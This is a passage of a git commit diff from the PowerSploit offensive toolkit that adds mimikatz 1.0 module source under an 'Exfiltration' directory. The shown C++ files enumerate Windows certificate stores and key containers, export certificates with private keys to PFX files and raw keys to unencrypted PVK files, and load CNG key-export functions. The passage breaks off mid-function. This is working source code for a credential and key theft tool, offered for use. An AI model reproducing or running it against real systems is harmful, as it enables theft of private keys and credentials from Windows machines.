aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/modules
diff options
context:
space:
mode:
authorclymb3r <bialek.joseph@gmail.com>2013-10-01 09:47:05 -0700
committerclymb3r <bialek.joseph@gmail.com>2013-10-01 09:47:05 -0700
commit59cd18360764af6e6133ad11ec9cd8295372e587 (patch)
tree758a4f12cd6d2bddb0006df7d1fcac3736b61b8f /Exfiltration/mimikatz-1.0/modules
parentb17272eb98933c62baa5a21bcd23713f9182ee38 (diff)
downloadPowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.tar.gz
PowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.zip
Adding Invoke-Mimikatz and Invoke-Ninjacopy
Diffstat (limited to 'Exfiltration/mimikatz-1.0/modules')
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp240
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_crypto.h60
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp138
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h26
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp143
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_cryptong.h24
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_hash.cpp150
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_hash.h81
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_hive.cpp242
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_hive.h88
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_inject.cpp72
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_inject.h19
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_memory.cpp140
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_memory.h22
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp163
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_minidump.h33
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_ntddk.h322
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp38
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_parseur.h15
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_patch.cpp146
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_patch.h57
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp121
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_pipe.h29
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp95
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_privilege.h18
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_process.cpp473
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_process.h84
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp162
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_secacl.h24
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_service.cpp142
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_service.h38
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_system.cpp208
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_system.h34
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_text.cpp101
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_text.h31
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_thread.cpp77
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_thread.h19
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_ts.cpp106
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_ts.h35
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_windows.cpp26
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_windows.h22
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp29
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h18
43 files changed, 4111 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp
new file mode 100644
index 0000000..8baffa6
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp
@@ -0,0 +1,240 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_crypto.h"
+
+bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore)
+{
+ map<wstring, DWORD> mesEmplacements;
+ mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER));
+ mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY));
+ mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE));
+ mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY));
+ mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE));
+ mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE));
+ mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS));
+ mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES));
+
+ map<wstring, DWORD>::iterator monIterateur = mesEmplacements.find(strSystemStore);
+ if(monIterateur != mesEmplacements.end())
+ {
+ *systemStore = monIterateur->second;
+ return true;
+ }
+ else return false;
+}
+
+BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg)
+{
+ reinterpret_cast<vector<wstring> *>(pvArg)->push_back(reinterpret_cast<const wchar_t *>(pvSystemStore));
+ return TRUE;
+}
+
+bool mod_crypto::getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore)
+{
+ return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0);
+}
+
+bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName)
+{
+ bool reussite = false;
+ wchar_t * monBuffer = NULL;
+
+ DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE};
+
+ for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++)
+ {
+ DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0);
+ if(tailleRequise > 1)
+ {
+ monBuffer = new wchar_t[tailleRequise];
+ reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1;
+ certName->assign(monBuffer);
+ delete[] monBuffer;
+ }
+ }
+ return reussite;
+}
+
+bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo)
+{
+ bool reussite = false;
+ DWORD taille = 0;
+ if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille))
+ {
+ BYTE * monBuffer = new BYTE[taille];
+ if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0))
+ {
+ CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast<CRYPT_KEY_PROV_INFO *>(monBuffer);
+ keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)");
+ keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)");
+ keyProvInfo->cProvParam = mesInfos->cProvParam;
+ keyProvInfo->dwFlags = mesInfos->dwFlags;
+ keyProvInfo->dwKeySpec = mesInfos->dwKeySpec;
+ keyProvInfo->dwProvType = mesInfos->dwProvType;
+ }
+ delete[] monBuffer;
+ }
+ return reussite;
+}
+
+bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password)
+{
+ bool retour = false;
+
+ HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL);
+ PCCERT_CONTEXT pCertContextCopy = NULL;
+
+ if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy))
+ {
+ CRYPT_DATA_BLOB bDataBlob = {0, NULL};
+ if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
+ {
+ bDataBlob.pbData = new BYTE[bDataBlob.cbData];
+ if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
+ {
+ HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
+ if(hFile && hFile != INVALID_HANDLE_VALUE)
+ {
+ DWORD dwBytesWritten;
+ if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten))
+ {
+ retour = FlushFileBuffers(hFile) != 0;
+ }
+ CloseHandle(hFile);
+ }
+ }
+ delete[] bDataBlob.pbData;
+ }
+ CertFreeCertificateContext(pCertContextCopy);
+ }
+ CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG);
+
+ return retour;
+}
+
+bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile)
+{
+ bool retour = false;
+
+ HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
+ if(hFile && hFile != INVALID_HANDLE_VALUE)
+ {
+ DWORD dwBytesWritten;
+ if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten)
+ {
+ retour = FlushFileBuffers(hFile) != 0;
+ }
+ CloseHandle(hFile);
+ }
+ return retour;
+}
+
+wstring mod_crypto::KeyTypeToString(DWORD keyType)
+{
+ wostringstream keyTypeStr;
+ switch (keyType)
+ {
+ case AT_KEYEXCHANGE:
+ keyTypeStr << L"AT_KEYEXCHANGE";
+ break;
+ case AT_SIGNATURE:
+ keyTypeStr << L"AT_SIGNATURE";
+ break;
+ default:
+ keyTypeStr << L"? (" << hex << keyType << L")";
+ }
+ return keyTypeStr.str();
+}
+
+
+bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec)
+{
+ bool retour = false;
+ FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport};
+
+ HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
+ if(hFile && hFile != INVALID_HANDLE_VALUE)
+ {
+ DWORD dwBytesWritten;
+ if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten))
+ {
+ if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten))
+ {
+ retour = FlushFileBuffers(hFile) != 0;
+ }
+ }
+ CloseHandle(hFile);
+ }
+
+ return retour;
+}
+
+bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize)
+{
+ bool retour = false;
+ HCRYPTPROV hCryptProv = NULL;
+ HCRYPTKEY hKey = NULL;
+ PBYTE buffer = data;
+ DWORD dwWorkingBufferLength = dataSize;
+
+ if(destBuffer && destBufferSize >= dataSize)
+ {
+ RtlCopyMemory(destBuffer, data, dataSize);
+ buffer = destBuffer;
+ }
+
+ if((algorithme == CALG_RC4) && (keySize > 16))
+ {
+ fullRC4(buffer, dataSize, key, keySize);
+ retour = true;
+ }
+ else
+ {
+ if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
+ {
+ GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize};
+ BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize];
+ RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB));
+ RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize);
+
+ if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey))
+ {
+ if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/
+ retour = (dwWorkingBufferLength == dataSize);
+ CryptDestroyKey(hKey);
+ }
+ delete[] myKey;
+ CryptReleaseContext(hCryptProv, 0);
+ }
+ }
+ return retour;
+}
+
+void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les clés >= 128 bits (16 octets)
+{
+ ULONG i, j, k = 0, kpos = 0;
+ BYTE S[256], *pos = data;
+
+ for (i = 0; i < 256; i++)
+ S[i] = static_cast<BYTE>(i);
+
+ for (i = 0, j = 0; i < 256; i++)
+ {
+ j = (j + S[i] + key[kpos]) & 0xff;
+ kpos++;
+ if (kpos >= keylen)
+ kpos = 0;
+ S_SWAP(i, j);
+ }
+
+ for (i = 0, j = 0; k < data_len; k++)
+ {
+ i = (i + 1) & 0xff;
+ j = (j + S[i]) & 0xff;
+ S_SWAP(i, j);
+ *pos++ ^= S[(S[i] + S[j]) & 0xff];
+ }
+}
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h
new file mode 100644
index 0000000..582ed36
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h
@@ -0,0 +1,60 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <wincrypt.h>
+#include <sstream>
+#include <map>
+
+#define PVK_FILE_VERSION_0 0
+#define PVK_MAGIC 0xb0b5f11e // bob's file
+#define PVK_NO_ENCRYPT 0
+#define PVK_RC4_PASSWORD_ENCRYPT 1
+#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2
+
+class mod_crypto
+{
+public:
+ typedef struct _KIWI_KEY_PROV_INFO {
+ std::wstring pwszContainerName;
+ std::wstring pwszProvName;
+ DWORD dwProvType;
+ DWORD dwFlags;
+ DWORD cProvParam;
+ DWORD dwKeySpec;
+ } KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO;
+
+private:
+ typedef struct _GENERICKEY_BLOB {
+ BLOBHEADER BlobHeader;
+ DWORD dwKeyLen;
+ } GENERICKEY_BLOB, *PGENERICKEY_BLOB;
+
+ typedef struct _FILE_HDR {
+ DWORD dwMagic;
+ DWORD dwVersion;
+ DWORD dwKeySpec;
+ DWORD dwEncryptType;
+ DWORD cbEncryptData;
+ DWORD cbPvk;
+ } FILE_HDR, *PFILE_HDR;
+
+ static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg);
+public:
+ static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore);
+
+ static bool getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER);
+ static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName);
+ static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo);
+
+ static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE);
+ static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password);
+ static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile);
+ static wstring KeyTypeToString(DWORD keyType);
+
+ static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0);
+ static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes)
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp
new file mode 100644
index 0000000..f886f09
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp
@@ -0,0 +1,138 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_cryptoapi.h"
+HMODULE mod_cryptoapi::hRsaEng = NULL;
+
+bool mod_cryptoapi::loadRsaEnh()
+{
+ if(!hRsaEng)
+ hRsaEng = LoadLibrary(L"rsaenh");
+ return (hRsaEng != NULL);
+}
+
+bool mod_cryptoapi::unloadRsaEnh()
+{
+ if(hRsaEng)
+ FreeLibrary(hRsaEng);
+ return true;
+}
+
+bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider)
+{
+ map<wstring, wstring> mesProviders;
+ mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV));
+ mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV));
+ mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV));
+ mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV));
+ mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV));
+ mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV));
+ mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV));
+ mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV));
+ mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV));
+ mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV));
+ mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV));
+ mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP));
+
+ map<wstring, wstring>::iterator monIterateur = mesProviders.find(ProviderName);
+ *Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName;
+ return true;
+}
+
+bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType)
+{
+ map<wstring, DWORD> mesTypes;
+ mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL));
+ mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG));
+ mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS));
+ mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA));
+ mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE));
+ mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL));
+ mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL));
+ mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH));
+ mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG));
+ mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG));
+ mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL));
+ mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL));
+ mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL));
+ mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS));
+ mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG));
+ mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC));
+ mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF));
+ mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES));
+
+ map<wstring, DWORD>::iterator monIterateur = mesTypes.find(ProviderTypeName);
+ if(monIterateur != mesTypes.end())
+ {
+ *ProviderType = monIterateur->second;
+ return true;
+ }
+ else return false;
+}
+
+bool mod_cryptoapi::getVectorProviders(vector<wstring> * monVectorProviders)
+{
+ DWORD index = 0;
+ DWORD provType;
+ DWORD tailleRequise;
+
+ while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise))
+ {
+ wchar_t * monProvider = new wchar_t[tailleRequise];
+ if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise))
+ {
+ monVectorProviders->push_back(monProvider);
+ }
+ delete[] monProvider;
+ index++;
+ }
+ return (GetLastError() == ERROR_NO_MORE_ITEMS);
+}
+
+bool mod_cryptoapi::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine, wstring provider, DWORD providerType)
+{
+ bool reussite = false;
+
+ HCRYPTPROV hCryptProv = NULL;
+ if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
+ {
+ DWORD tailleRequise = 0;
+ char * containerName = NULL;
+ DWORD CRYPT_first_next = CRYPT_FIRST;
+ bool success = false;
+
+ success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0);
+ while(success)
+ {
+ containerName = new char[tailleRequise];
+ if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast<BYTE *>(containerName), &tailleRequise, CRYPT_first_next) != 0))
+ {
+ wstringstream resultat;
+ resultat << containerName;
+ monVectorContainers->push_back(resultat.str());
+ }
+ delete[] containerName;
+ CRYPT_first_next = CRYPT_NEXT;
+ }
+ reussite = (GetLastError() == ERROR_NO_MORE_ITEMS);
+ CryptReleaseContext(hCryptProv, 0);
+ }
+
+ return reussite;
+}
+
+bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType)
+{
+ bool reussite = false;
+
+ if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport))
+ {
+ *monExport = new BYTE[*tailleExport];
+ if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0)))
+ delete[] monExport;
+
+ }
+ return reussite;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h
new file mode 100644
index 0000000..8c70b48
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h
@@ -0,0 +1,26 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <wincrypt.h>
+#include <sstream>
+#include <map>
+
+class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */
+{
+private:
+ static HMODULE hRsaEng;
+public:
+ static bool getProviderString(wstring ProviderName, wstring * Provider);
+ static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType);
+
+ static bool getVectorProviders(vector<wstring> * monVectorProviders);
+ static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL);
+ static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB);
+
+ static bool loadRsaEnh();
+ static bool unloadRsaEnh();
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp
new file mode 100644
index 0000000..690f390
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp
@@ -0,0 +1,143 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_cryptong.h"
+
+HMODULE hNcrypt = LoadLibrary(L"ncrypt");
+
+PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast<PNCRYPT_OPEN_STORAGE_PROVIDER>(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider"));
+PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast<PNCRYPT_ENUM_KEYS>(GetProcAddress(hNcrypt, "NCryptEnumKeys"));
+PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast<PNCRYPT_OPEN_KEY>(GetProcAddress(hNcrypt, "NCryptOpenKey"));
+PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast<PNCRYPT_EXPORT_KEY>(GetProcAddress(hNcrypt, "NCryptExportKey"));
+PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast<PNCRYPT_GET_PROPERTY>(GetProcAddress(hNcrypt, "NCryptGetProperty"));
+
+PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast<PNCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "NCryptFreeBuffer"));
+PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast<PNCRYPT_FREE_OBJECT>(GetProcAddress(hNcrypt, "NCryptFreeObject"));
+
+PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast<PBCRYPT_ENUM_REGISTERED_PROVIDERS>(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders"));
+PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast<PBCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "BCryptFreeBuffer"));
+
+bool mod_cryptong::isNcrypt = (
+ hNcrypt &&
+ K_NCryptOpenStorageProvider &&
+ K_NCryptEnumKeys &&
+ K_NCryptOpenKey &&
+ K_NCryptExportKey &&
+ K_NCryptGetProperty &&
+ K_NCryptFreeBuffer &&
+ K_NCryptFreeObject &&
+ K_BCryptEnumRegisteredProviders &&
+ K_BCryptFreeBuffer
+);
+
+bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName)
+{
+ bool reussite = false;
+ NCRYPT_PROV_HANDLE hProvider;
+
+ if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS)
+ reussite = (K_NCryptFreeObject(hProvider) == 0);
+
+ return reussite;
+}
+
+
+bool mod_cryptong::getVectorProviders(vector<wstring> * monVectorProviders)
+{
+ bool reussite = false;
+
+ DWORD cbBuffer;
+ PCRYPT_PROVIDERS pBuffer = NULL;
+
+ if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0))
+ {
+ for(DWORD i = 0; i < pBuffer->cProviders; i++)
+ monVectorProviders->push_back(pBuffer->rgpszProviders[i]);
+ K_BCryptFreeBuffer(pBuffer);
+ }
+
+ return reussite;
+}
+
+bool mod_cryptong::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine)
+{
+ bool reussite = false;
+ NCRYPT_PROV_HANDLE hProvider;
+ NCryptKeyName * pKeyName;
+ PVOID pEnumState = NULL;
+
+ SECURITY_STATUS retour;
+ if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS)
+ {
+ while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS)
+ {
